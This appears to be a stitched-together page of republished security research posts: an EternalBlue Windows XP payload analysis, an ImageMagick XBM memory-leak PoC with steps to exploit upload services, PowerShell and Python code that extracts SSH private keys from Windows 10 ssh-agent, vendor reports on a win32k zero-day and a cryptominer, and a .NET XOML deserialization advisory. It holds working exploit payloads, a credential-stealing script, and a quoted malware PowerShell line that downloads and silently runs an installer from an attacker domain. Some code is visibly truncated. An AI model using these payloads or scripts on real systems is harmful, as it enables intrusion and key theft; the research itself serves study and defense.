Quickpost: Compiling with Build Tools for Visual Studio 2017

( Original text by Didier Stevens )

Compiling C/C++ programs with Microsoft’s command-line compilers is possible, even if you don’t have Visual Studio installed. You can do this with the Build Tools for Visual Studio 2017 (a free download).

Go to https://visualstudio.microsoft.com/downloads/ and download the Build Tools:

The downloaded file does not include the build tools, but it’s a stager that will download the necessary build tools. It requires .NET, you might get an error if the proper version is not installed:

Installing the correct .NET framework will fix this problem:

Once this download is completed, you can get to the actual installer where you choose the tools you want:

I selected the Visual C++ build tools, a download of about 1 GB:

Once the build tools are installed, you can open a shell via the start menu:

The C/C++ compiler is invoked with command cl:

As an example, I’m compiling the following program:


Dissecting a Bug in the EternalBlue Client for Windows XP (FuzzBunch)

( Original text by zerosum0x0 )



Pwning Windows 7 was no problem, but I would re-visit the EternalBlue exploit against Windows XP for a time and it never seemed to work. I tried all levels of patching and service packs, but the exploit would either always passively fail to work or blue-screen the machine. I moved on from it, because there was so much more of FuzzBunch that was unexplored.

Well, one day on a pentest a wild Windows XP appeared, and I figured I would give FuzzBunch a go. To my surprise, it worked! And on the first try.

Why did this exploit work in the wild but not against runs in my «lab»?

tl;dr: Differences in NT/HAL between single-core/multi-core/PAE CPU installs causes FuzzBunch’s XP payload to abort prematurely on single-core installs.

Multiple Exploit Chains

Keep in mind that there are several versions of EternalBlue. The Windows 7 kernel exploit has been well documented. There are also ports to Windows 10 which have been documented by myself and JennaMagius as well as sleepya_.

But FuzzBunch includes a completely different exploit chain for Windows XP, which cannot use the same basic primitives (i.e. SMB2 and SrvNet.sys do not exist yet!). I discussed this version in depth at DerbyCon 8.0 (slides / video).

tl;dw: The boot processor KPCR is static on Windows XP, and to gain shellcode execution the value of KPRCB.PROCESSOR_POWER_STATE.IdleFunction is overwritten.

Payload Methodology

As it turns out, the exploit was working just fine in the lab. What was failing was FuzzBunch’s payload.

The main stages of the ring 0 shellcode performs the following actions:

  1. Obtains &nt and &hal using the now-defunct KdVersionBlock trick
  2. Resolves some necessary function pointers, such as hal!HalInitializeProcessor
  3. Restores the boot processor KPCR/KPRCB which was corrupted during exploitation
  4. Runs DoublePulsar to backdoor the SMB service
  5. Gracefully resumes execution at a normal state (nt!PopProcessorIdle)

Single Core Branch Anomaly

Setting a couple hardware breakpoints on the IdleFunction switch and +0x170 into the shellcode (after a couple initial XOR/Base64 shellcode decoder stages), it is observed that a multi-core machine install branches differently than the single-core machine.

1 kd> ba w 1 ffdffc50 "ba e 1 poi(ffdffc50)+0x170;g;"

The multi-core machine has acquired a function pointer to hal!HalInitializeProcessor.

Presumably, this function will be called to clean up the semi-corrupted KPRCB.

The single-core machine did not find hal!HalInitializeProcessor… sub_547 instead returned NULL. The payload cannot continue, and will now self destruct by zeroing as much of itself out as it can and set up a ROP chain to free some memory and resume execution.

Note: A successful shellcode execution will perform this action as well, just after installing DoublePulsar first.

Root Cause Analysis

The shellcode function sub_547 does not properly find hal!HalInitializeProcessor on single core CPU installs, and thus the entire payload is forced to abruptly abort. We will need to reverse engineer the shellcode function to figure out exactly why the payload is failing.

There is an issue in the kernel shellcode that does not take into account all of the different types of the NT kernel executables are available for Windows XP. Specifically, the multi-core processor version of NT works fine (i.e. ntkrnlamp.exe), but a single core install (i.e. ntoskrnl.exe) will fail. Likewise, there is a similar difference in halmacpi.dll vs halacpi.dll.

The NT Red Herring

The first operation that sub_547 performs is to obtain HAL function imports used by the NT executive. It finds HAL functions by first reading at offset 0x1040 into NT.

On multi-core installs of Windows XP, this offset works as intended, and the shellcode finds hal!HalQueryRealTimeClock:

However, on single-core installations this is not a HAL import table, but instead a string table:

At first I figured this was probably the root cause. But it is a red herring, as there is correction code. The shellcode will check if the value at 0x1040 is an address in the range within HAL. If not it will subtract 0xc40 and start searching in increments of 0x40 for an address within the HAL range, until it reaches 0x1040 again.

Eventually, the single-core version will find a HAL function, this time hal!HalCalibratePerformanceCounter:

This all checks out and is fine, and shows that Equation Group did a good job here for determining different types of XP NT.

HAL Variation Byte Table

Now that a function within HAL has been found, the shellcode will attempt to locate hal!HalInitializeProcessor. It does so by carrying around a table (at shellcode offset 0x5e7) that contains a 1-byte length field followed by an expected sequence of bytes. The original discovered HAL function address is incremented in search of those bytes within the first 0x20 bytes of a new function.

The desired 5 bytes are easily found in the multi-core version of HAL:

However, the function on single-core HAL is much different.

There is a similar mov instruction, but it is not a movzx. The byte sequence being searched for is not present in this function, and consequently the function is not discovered.


It is well known (from many flame wars on Windows kernel development mailing lists) that searching for byte sequences to identify functions is unreliable across different versions and service packs of Windows. We have learned from this bug that exploit developers must also be careful to account for differences in single/multi-core and PAE variations of NTOSKRNL and HAL. In this case, the compiler decided to change one movzx instruction to a mov instruction and broke the entire payload.

It is very curious that the KdVersionBlock trick and a byte sequence search is used to find functions in this payload. The Windows 7 payload finds NT and its exports in, as seen, a more reliable way, by searching backwards in memory from the KPCR IDT and then parsing PE headers.

This HAL function can be found through such other means (it appears readily exported by HAL). The corrupted KPCR can also be cleaned up in other ways. But those are both exercises for the reader.

There is circumstantial evidence that primary FuzzBunch development was started in late 2001. The payload seems maybe it was only written for and tested against multi-core processors? Perhaps this could be a indicator as to how recent the XP exploit was first written. Windows XP was broadly released on October 25, 2001. While this is the same year that IBM invented the first dual-core processor (POWER4), Intel and AMD would not have a similar offering until 2004 and 2005, respectively.

This is yet another example of the evolution of these ETERNAL exploits. The Equation Group could have re-used the same exploit and payload primitives, yet chose to develop them using many different methodologies, perhaps so if one methodology was burned they could continue to reap the benefits of their exploit diversification. There is much esoteric Windows kernel internals knowledge that can be learned from studying these exploits.

Yet another memory leak in ImageMagick or how to exploit CVE-2018–16323.

( Original text by barracud4_ )

Hi, in this article we’ll talk about ImageMagick vulnerabilities.

PoC generator for CVE-2018–16323 (Memory leakage via XBM images in ImageMagick)

What is the ImageMagick? From imagemagick.org:

Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.

This is a very rich library for processing images. If you google “how to resize a picture in php” or “how to crop an image”, then most likely you will find advice on how to use ImageMagick. This library has long had security problems. And today we will look at a fresh vulnerability and recall some old ones.

Part 1 — Yet another memory leak

For the past two years vulnerabilities in ImageMagick libraries have appeared almost every month. Fortunately, many of them are some kind of not applicable DoS, which does not pose serious security problems. But recently we have noticed an interesting CVE-2018–16323.

Sounds easy! But we didn’t find any information about exploit for this vulnerability.

Look at the commit referenced to the CVE:

“XBM coder leaves the hex image data uninitialized if hex value of the pixel is negative“

Hmm.. Let’s explore the XBM file format. A common XBM image looks like this:

Which is very similar to C code. This format is very old and was used in X Window System to store cursor and icon bitmaps used in the X GUI. Each value in keyboard16_bits array represents 8 pixels, each pixel is a single bit and encodes one of two colors — black or white. So there are no negative pixels as one pixel has only two possible values. Hereinafter we will call that array as XBM body array.

Let’s look closer at the ImageMagick code and find out what a “pixel is negative” means at commit details. We need a ReadXBMImage() function. This function reads an image and prepares data for image processing. Seems like variable image contains the image data being processed (Line 225).

Next, at lines 344–348 there is a memory allocation and pointer data now points to the allocated memory start address. Also pointer points to the same address.

Memory allocation

Next 352–360 and 365–371, same code but for different versions of XBM image. As can be seen from the commit both branches are equally vulnerable, so we will consider just one of them. XBM body array reading occurs in the function XBMInteger() which returns an int to variable . Further at line 358the value stored in variable c is put to variable by p pointer, then the pointer is incremented.

Allocated memory filling

In the commit we see that in the previous version variable was checked for negative value, and if it was negative then the loop ended with a break, and that’s why memory leak appeared. If the first value of XBM body array is negative then all allocated memory remains uninitialized and may contain sensitive data from memory, which will be further processed and a new image will be generated from this data. In patched version it was changed, now if value of XBM body array is negative then ImageMagick throws an error.

Now let’s take a closer look at the XBMInteger() function. It takes a pointer image and pointer hex_digits as arguments. The latter is an array which is initilized at line 305. This function maps allowed values to hex values in XBM body array. XBMInteger() reads next byte defined in XBM body array and puts it to unsigned int variable value. There is an interesting moment, this function reads hex-symbols until the stop token appears. This means that we can specify hex values of arbitrary length and so instead of the expected range between 0–255 values for char we can set any unsigned int value which will be stored in variable value. And next fatal fact is that variable valueconverted to signed int… Bingo!

Convert unsigned int to int is a bad idea

So we just need to set a value to XBM body array which will be converted to negative int. It is any value above 2,147,483,647 or 0x80000000 in hex. That’s the whole PoC:

#define test_width 500
#define test_height 500
static char test_bits[] = {
0x80000001, };

The amount of leaked memory depends on how you set the height and width parameters. If you set 500×500, therefore, 31250 (500*500/8) bytes will leak! But it depends on how application uses ImageMagick, it may be that it cuts the image to a certain height and width.

While we were testing this PoC, we encountered a problem. Not all the ImageMagick versions below 7.0.8–9 appeared to be vulnerable as described at cvedetails. We found another commit that fixed another vulnerability — CVE-2017–14175 which is a DoS vulnerability for XBM Images processing. And as you can see, it was this particular commit that brought the vulnerability into the code.

Okay let’s try the PoC. Let’s install one of the vulnerable versions (e.g. 6.9.9–51). Now, running convert poc.xbm poc.png we will call processing XBM images in xbm.c file. And therefore call vulnerable code.

The resulting image should be like this:

Image contains leaked memory

You can see some noise on the resulting image, this is a leaked memory, each black or white pixel is a bit of information from leaked memory. If you repeat convert, then you will likely get another image, because another memory chunk will be caught.

What do we need to extract leaked memory bytes?

Simply convert it back, convert poc.png leak.xbm, now we see leaked memory bytes in XBM body array and this is very easy to parse format. Extract it and get leaked memory bytes.


  1. Generate a PoC;
  2. Upload it to your avatar on vulnerable application;
  3. Save resulting png/jpg/gif image;
  4. Extract data from image.

ttffdd wrote a simple easy to use tool for this vulnerability called XBadManners. It generates a PoC and recovers leaked data from image.

Notice! That ImageMagick is a smart library and you can upload a poc.pngwhich contains XBM image data to the server and if the image type is not checked properly, then ImageMagick will process poc.png as an XBM image. So if you just check the filetype of the uploaded file for the “*.png” matches, then this will not save you.

Part 2 — Is ImageMagick secure?

Short answer — probably not.

It is not the first serious vulnerability found in ImageMagick software. There are plenty of vulnerabilities. ImageMagick has almost 500 known fixed vulnerabilities! Every month there are new vulnerabilities found that may be difficult to exploit or not applicable, and a couple of times a year some serious vulnerabilities with high impact show up.

Here is a top list of widely known ImageMagick vulnerabilities.

ImageTragick. The most famous series of vulnerabilities in ImageMagick. It includes RCESSRFLocal File Read/Move/Delete in svg and mvg files. It was discovered in April 2016 by stewie and Nikolay Ermishkin.

  • CVE-2016–3714 — RCE
  • CVE-2016–3718 — SSRF
  • CVE-2016–3715 — File deletion
  • CVE-2016–3716 — File moving
  • CVE-2016–3717 — Local file read

Patch was available in 6.9.3–9 released 2016–04–30 ImageMagick version. This vulnerability was quite popular with bughunters:

CVE-2017–15277 a.k.a. gifoeb. Discovered by Emil Lerner in 2017 July. This vulnerability is a memory leakage in GIF images processing. ImageMagick leaves the palette uninitialized if neither global nor local palette is present, and a memory leak occurs exactly through the palette. This rather limited the length of the leaked data. This vulnerability was also popular with bughunters.

GhostScript Type Confusion RCE (CVE-2017–8291). Was discovered in May 2017. It’s not an ImageMagick vulnerability, but it affects it as ImageMagick uses ghostscript to handle certain types of images with PostScript, i.e. EPS, PDF files.

CVE-2018–16509, another RCE in GhostScript, was published in August 2018. Also affects ImageMagick as it is in GhostScript like the previous bug.

How many other vulnerabilities that carry serious security problems remain unknown? We do not know. We have specially prepared a small history of ImageMagick security infographic.

History of ImageMagick security

Part 3 — How can we use ImageMagick in a secure way?

Stop using ImageMagick? Maybe, but..

We do not tell you to stop using the ImageMagick. We advise you to do this in a safe way to reduce information security risks.

First, as you may have noticed ImageMagick has a lot of vulnerabilities constantly appearing and therefore it is also updated frequently. If you use ImageMagick then watch for new versions and make sure the latest version is installed at all times. Notice that ImageMagick is not frequently updated in official repositories so it may contain old vulnerable versions. It is best to install stable ImageMagick version from source code.

But as you can see from our example, fixing old vulnerabilities brings new vulnerabilities 🙂

Therefore, updating ImageMagick may not save you.

Best practice for ImageMagick is to run it in an isolated environment, like Docker. Set minimum required rights for the service that uses ImageMagick. Put it in an isolated network segment with minimal network rights. And use this isolated environment ONLY for a specific task of processing custom user images using ImageMagick.

Also ImageMagick have configured security policy.

Here you can find a detailed guide on the security of ImageMagick from developers.


Extracting SSH Private Keys from Windows 10 ssh-agent

( Original text by ropnop )

Table of Contents


This weekend I installed the Windows 10 Spring Update, and was pretty excited to start playing with the new, builtin OpenSSH tools.

Using OpenSSH natively in Windows is awesome since Windows admins no longer need to use Putty and PPK formatted keys. I started poking around and reading up more on what features were supported, and was pleasantly surprised to see ssh-agent.exe is included.

I found some references to using the new Windows ssh-agent in this MSDN article, and this part immediately grabbed my attention:

Securely store private keys

I’ve had some good fun in the past with hijacking SSH-agents, so I decided to start looking to see how Windows is «securely» storing your private keys with this new service.

I’ll outline in this post my methodology and steps to figuring it out. This was a fun investigative journey and I got better at working with PowerShell.


Private keys are protected with DPAPI and stored in the HKCU registry hive. I released some PoC code here to extract and reconstruct the RSA private key from the registry

Using OpenSSH in Windows 10

The first thing I tested was using the OpenSSH utilities normally to generate a few key-pairs and adding them to the ssh-agent.

First, I generated some password protected test key-pairs using ssh-keygen.exe:

Powershell ssh-keygen

Then I made sure the new ssh-agent service was running, and added the private key pairs to the running agent using ssh-add:

Powershell ssh-add

Running ssh-add.exe -L shows the keys currently managed by the SSH agent.

Finally, after adding the public keys to an Ubuntu box, I verified that I could SSH in from Windows 10 without needing the decrypt my private keys (since ssh-agent is taking care of that for me):

Powershell SSH to Ubuntu

Monitoring SSH Agent

To figure out how the SSH Agent was storing and reading my private keys, I poked around a little and started by statically examining ssh-agent.exe. My static analysis skills proved very weak, however, so I gave up and just decided to dynamically trace the process and see what it was doing.

I used procmon.exe from Sysinternals and added a filter for any process name containing «ssh».

With procmon capturing events, I then SSH’d into my Ubuntu machine again. Looking through all the events, I saw ssh.exe open a TCP connection to Ubuntu, and then finally saw ssh-agent.exe kick into action and read some values from the Registry:

SSH Procmon

Two things jumped out at me:

  • The process ssh-agent.exe reads values from HKCU\Software\OpenSSH\Agent\Keys
  • After reading those values, it immediately opens dpapi.dll

Just from this, I now knew that some sort of protected data was being stored in and read from the Registry, and ssh-agent was using Microsoft’s Data Protection API

Testing Registry Values

Sure enough, looking in the Registry, I could see two entries for the keys I added using ssh-add. The key names were the fingerprint of the public key, and a few binary blobs were present:

Registry SSH Entries

Registry SSH Values

After reading StackOverflow for an hour to remind myself of PowerShell’s ugly syntax (as is tradition), I was able to pull the registry values and manipulate them. The «comment» field was just ASCII encoded text and was the name of the key I added:

Powershell Reg Comment

The (default) value was just a byte array that didn’t decode to anything meaningful. I had a hunch this was the «encrypted» private key if I could just pull it and figure out how to decrypt it. I pulled the bytes to a Powershell variable:

Powershell keybytes

Unprotecting the Key

I wasn’t very familiar with DPAPI, although I knew a lot of post exploitation tools abused it to pull out secrets and credentials, so I knew other people had probably implemented a wrapper. A little Googling found me a simple oneliner by atifaziz that was way simpler than I imagined (okay, I guess I see why people like Powershell…. 😉 )

Add-Type AssemblyName System.Security;
[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String((type raw (Join-Path $env:USERPROFILE foobar))), $null, CurrentUser))

I still had no idea whether this would work or not, but I tried to unprotect the byte array using DPAPI. I was hoping maybe a perfectly formed OpenSSH private key would just come back, so I base64 encoded the result:

Add-Type -AssemblyName System.Security  
$unprotectedbytes = [Security.Cryptography.ProtectedData]::Unprotect($keybytes, $null, 'CurrentUser')


The Base64 returned didn’t look like a private key, but I decoded it anyway just for fun and was very pleasantly surprised to see the string «ssh-rsa» in there! I had to be on the right track.

Base 64 decoded

Figuring out Binary Format

This part actually took me the longest. I knew I had some sort of binary representation of a key, but I could not figure out the format or how to use it.

I messed around generating various RSA keys with opensslputtygen and ssh-keygen, but never got anything close to resembling the binary I had.

Finally after much Googling, I found an awesome blogpost from NetSPI about pulling out OpenSSH private keys from memory dumps of ssh-agent on Linux: https://blog.netspi.com/stealing-unencrypted-ssh-agent-keys-from-memory/

Could it be that the binary format is the same? I pulled down the Python scriptlinked from the blog and fed it the unprotected base64 blob I got from the Windows registry:


It worked! I have no idea how the original author soleblaze figured out the correct format of the binary data, but I am so thankful he did and shared. All credit due to him for the awesome Python tool and blogpost.

Putting it all together

After I had proved to myself it was possible to extract a private key from the registry, I put it all together in two scripts.

GitHub Repo

The first is a Powershell script (extract_ssh_keys.ps1) which queries the Registry for any saved keys in ssh-agent. It then uses DPAPI with the current user context to unprotect the binary and save it in Base64. Since I didn’t even know how to start parsing Binary data in Powershell, I just saved all the keys to a JSON file that I could then import in Python. The Powershell script is only a few lines:

$path = "HKCU:\Software\OpenSSH\Agent\Keys\"

$regkeys = Get-ChildItem $path | Get-ItemProperty

if ($regkeys.Length -eq 0) {  
    Write-Host "No keys in registry"

$keys = @()

Add-Type -AssemblyName System.Security;

$regkeys | ForEach-Object {
    $key = @{}
    $comment = [System.Text.Encoding]::ASCII.GetString($_.comment)
    Write-Host "Pulling key: " $comment
    $encdata = $_.'(default)'
    $decdata = [Security.Cryptography.ProtectedData]::Unprotect($encdata, $null, 'CurrentUser')
    $b64key = [System.Convert]::ToBase64String($decdata)
    $key[$comment] = $b64key
    $keys += $key

ConvertTo-Json -InputObject $keys | Out-File -FilePath './extracted_keyblobs.json' -Encoding ascii  
Write-Host "extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json"  

I heavily borrowed the code from parse_mem_python.py by soleblaze and updated it to use Python3 for the next script: extractPrivateKeys.py. Feeding the JSON generated from the Powershell script will output all the RSA private keys found:

Extracting private keys

These RSA private keys are unencrypted. Even though when I created them I added a password, they are stored unencrypted with ssh-agent so I don’t need the password anymore.

To verify, I copied the key back to a Kali linux box and verified the fingerprint and used it to SSH in!

Using the key

Next Steps

Obviously my PowerShell-fu is weak and the code I’m releasing is more for PoC. It’s probably possible to re-create the private keys entirely in PowerShell. I’m also not taking credit for the Python code — that should all go to soleblaze for his original implementation.

I would also love to eventually see this weaponized and added to post-exploitation frameworks since I think we will start seeing a lot more OpenSSH usage on Windows 10 by administrators and I’m sure these keys could be very valuable for redteamers and pentesters 🙂

Feedback and comments welcome!


A new exploit for zero-day vulnerability CVE-2018-8589

( Original text by By   )

In October 2018, our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in Microsoft’s Windows operating system. Further analysis revealed a zero-day vulnerability in win32k.sys. The exploit was executed by the first stage of a malware installer in order to gain the necessary privileges for persistence on the victim’s system. So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in the Middle East.

Kaspersky Lab products detected this exploit proactively using the following technologies:

  • Behavioral Detection Engine and Automatic Exploit Prevention for endpoints
  • Advanced Sandboxing and Anti-Malware Engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts in this campaign are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

More information about the attack is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com

Technical details

CVE-2018-8589 is a race condition present in win32k!xxxMoveWindow due to improper locking of messages sent synchronously between threads.

The exploit uses the vulnerability by creating two threads with a class and associated window and moves the window of the opposite thread inside the callback of a WM_NCCALCSIZE message in a window procedure that is common to both threads.

WM_NCCALCSIZE message in win32k!xxxCalcValidRects

Termination of the opposite thread on the maximum level of recursion inside the WM_NCCALCSIZE callback will cause asynchronous copyin of the lParam structure controlled by the attacker.

Lack of proper message locking between win32k!xxxCalcValidRects and win32k!SfnINOUTNCCALCSIZE

The exploit populates lParam with pointers to the shellcode and after being successfully copyied to kernel inside win32k!SfnINOUTNCCALCSIZE, the kernel jumps to the user level. The exploit found in the wild only targeted 32-bit versions of Windows 7.

BSOD on an up-to-date version of Windows 7 with our proof of concept

Cryptocurrency Mining Malware uses Various Evasion Techniques, Including Windows Installer, as Part of its Routine

( Original text by by Janus Agcaoili and Gilbert Sison )

The prodigious ascent of cryptocurrency-mining malware was not only brought about by its high profit potential, but also due to its ability to remain undetected within a system, especially when combined with various obfuscation routines. The concept of a stealthy, difficult-to-detect malware operating behind the scenes has proven to be an irresistible proposition for many threat actors, and they’re evidently adding even more techniques, as seen in a cryptocurrency miner (detected as Coinminer.Win32.MALXMR.TIAOODAM) we discovered that uses multiple obfuscation and packing as part of its routine.

Installation behavior

 Figure 1. Infection chain for the malware

Figure 1. Infection chain for the malware

The malware arrives on the victim’s machine as a Windows Installer MSI file, which is notable because Windows Installer is a legitimate application used to install software. Using a real Windows component makes it look less suspicious and potentially allows it to bypass certain security filters.

Upon installation of the sample we analyzed, we found that it will install itself in the directory %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server, which will be created if it isn’t already present in the user’s machine. This directory will contain various files that are used as part of its process:

  • bat – A script file used to terminate a list of antimalware processes that are currently running
  • exe – An unzipping tool used for another file dropped in the directory, icon.ico
  • ico – A password protected zip file posing as an icon file

Unpacking icon.ico reveals two addition files contained within it:

  • ocx – The loader module responsible for decrypting and installing the cryptocurrency mining module
  • bin – The encrypted, UPX-packed and Delphi-compiled cryptocurrency mining module

The next part of the installation process involves creating copies of the kernel file ntdll.dll and the Windows USER component user32.dll in %AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server\{Random Numbers}. We theorize that this is done to possibly prevent detection of the malware’s APIs.  This is followed by the following configuration files, including the miner’s, being dropped in the folder %UserTemp%\[Random Number].

 Figure 1. Infection chain for the malware

Figure 2. Configuration file for the miner

The installation interestingly uses Cyrillic (and not English) text during the process, which might indicate the region the malware came from.

 Figure 3. One of the windows displayed during installation

Figure 3. One of the windows displayed during installation

Process injection and watchdog creation analysis

After installation, ex.exe will then perform its routine by unzipping icon.ico before executing the following command:

  • rundll32 default.ocx,Entry u

It will then create three new Service Host (svchost.exe) processes for the purpose of injecting its codes. The first and second SvcHost processes will act as a watchdog, most likely to remain persistent. These are responsible for re-downloading the Windows Installer (.msi) file via a Powershell command when any of the injected svchost processes are terminated:

  • “powershell.exe -command $cli = new-Object System.Net.WebClient;$cli.Headers[‘User-Agent’] = ‘Windows Installer’;$f = ‘C:\%UserTemp%\{random number}.msi’; $cli.DownloadFile(‘hxxps://superdomain1709[.]info/update[.]txt’, $f);Start-Process $f -ArgumentList ‘/q’”

The third SvcHost process is then injected with the coinminer module and executed using the following command:

  • “%system32%\svchost.exe –config={malware configuration path}

 Figure 4. Screenshot of the three Service Host processes

Figure 4. Screenshot of the three Service Host processes

To make detection and analysis even more difficult, the malware also comes with a self-destruct mechanism. First, it creates and executes the following file:

  • {Random Characters}.cmD <- self-delete command-line script

It then deletes every file under its installation directory and removes any trace of installation in the system.

One notable aspect of the malware is that it uses the popular custom Windows Installer builder WiX as a packer, most likely as an additional anti-detection layer. This indicates that the threat actors behind it are exerting extra effort to ensure that their creation remains as stealthy as possible.

Trend Micro Solutions

The evolving aspect of cryptocurrency mining malware — constantly adding evasion techniques — means that powerful security tools are often needed to defend users from these kinds of threats.

Trend Micro endpoint solutions such as the Smart Protection Suites and Worry-Free Business Security solutions can protect users and businesses from threats by detecting malicious files and messages as well as blocking all related malicious URLs. The Trend Micro™ Deep Discovery™solution has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.

Trend Micro XGen™ security provides a cross-generational blend of threat defense techniques to protect systems from all types of threats, including ransomware and cryptocurrency-mining malware. It features high-fidelity machine learning on gateways and endpoints, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen security protects against today’s threats that bypass traditional controls; exploit known, unknown, or undisclosed vulnerabilities; either steal or encrypt personally identifiable data; or conduct malicious cryptocurrency mining. Smart, optimized, and connected, XGen security powers Trend Micro’s suite of security solutions: Hybrid Cloud SecurityUser Protection, and Network Defense.

Indicators of Compromise (IoCs)

Detected as Trojan.BAT.TASKILL.AA

  • 90ae20b30866bc6dbffd41869ccb642b3802f03d18df19e6c1dcab260bbeba7d

Detected as Coinminer.Win32.MALXMR.TIAOODAM

  • 8de725e349bb8d373763470ca6bcfd45e0b86839519f216ff436d3b8452d2248
  • 95bdcfb385acd09029e93f2d0024a4c8e9b3c0be8e5091b63d98e9d88b9cc33b
  • ccd609dc059a7bed7bf33c6d7dbd155fb40cdfd7d0091a9809f7f158ecd181bc
  • a3f34851af892bc0d257f911dd325ebbb959c26533a3c68f15773a633f6c4d38
  • 8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
  • 34d1ba59bc22c0b1c1ce46327efdf3286dec4c54e2482986a0478b27bb3cf48b
  • 8be47acf7e9ce316d0b39b65363fc154a83f6946233eebf494216f01e52c44f5
  • 9a2eaaba3357f4addbc56bc7eaa2288e813fdcd1cb086efb3ad20d912968a251


Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data

( Original text by Soroush Dalili )

Vendor: Microsoft
Vendor URL: https://www.microsoft.com/
Versions affected: .NET Framework before September 2018 patch
Systems Affected: .NET Framework Workflow library
Author: Soroush Dalili (@irsdl)
Advisory URL / CVE Identifier: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8421 
Risk: Critical


In the .NET Framework, workflows can be created by compiling an XOML file using the libraries within the System.Workflow namespace. The workflow compiler can use the /nocode and /checktypesarguments to stop execution of untrusted code. The /nocode is used to disallow the code-behind model that checked the workflows on the server-side to ensure they do not contain any code. The second argument is used to only allow whitelisted types from the configuration file.

All these protection mechanisms could be bypassed by exploiting a deserialisation issue similar to CVE-2018-8284 that was reported previously (https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/).


The Microsoft (R) Windows Workflow Compiler tool was used as a proof of concept to compile the following XOML files in order to execute code or commands. This tool was used with /nocode/checktypes in order to show that code could still be executed:

wfc test.xoml /nocode:+ /checktypes:+

Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time on finding a way to load arbitrary namespaces.


Low privileged SharePoint users by default have access to their personal sites and can create workflows for themselves. Therefore, authenticated users of SharePoint could potentially execute commands on the server similar to https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/.

Other applications that compile XOML files are also susceptible to code execution.


In order to provide examples to exploit this vulnerability, a number of gadgets were used based on the whitepaper written by Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th JSON Attacks (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf).

Example 1 – using ObjectDataProvider

The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: System.Diagnostics.Process.Start()) without passing any parameters:

<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
     <Rd:ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                         xmlns:System="clr-namespace:System;assembly=mscorlib, Version=,    
Culture=neutral, PublicKeyToken=b77a5c561934e089"
Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089"
Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=, Culture=neutral,    
      <ODP:ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"                 

By compiling the above file or by sending it to a SharePoint server, the following error message was received showing the code was executed:

Cannot start process because a file name has not been provided

Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.

Example 2 – using WorkflowDesigner

The following XOML file could execute a command to open calculator during compile time:

When the class name was invalid, the code was executed twice despite having an error:

<SequentialWorkflowActivity x:Class="INVALID!" x:Name="foobar"
    PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35"

When the class name was valid, the code was executed once but with an error:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
     PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35"

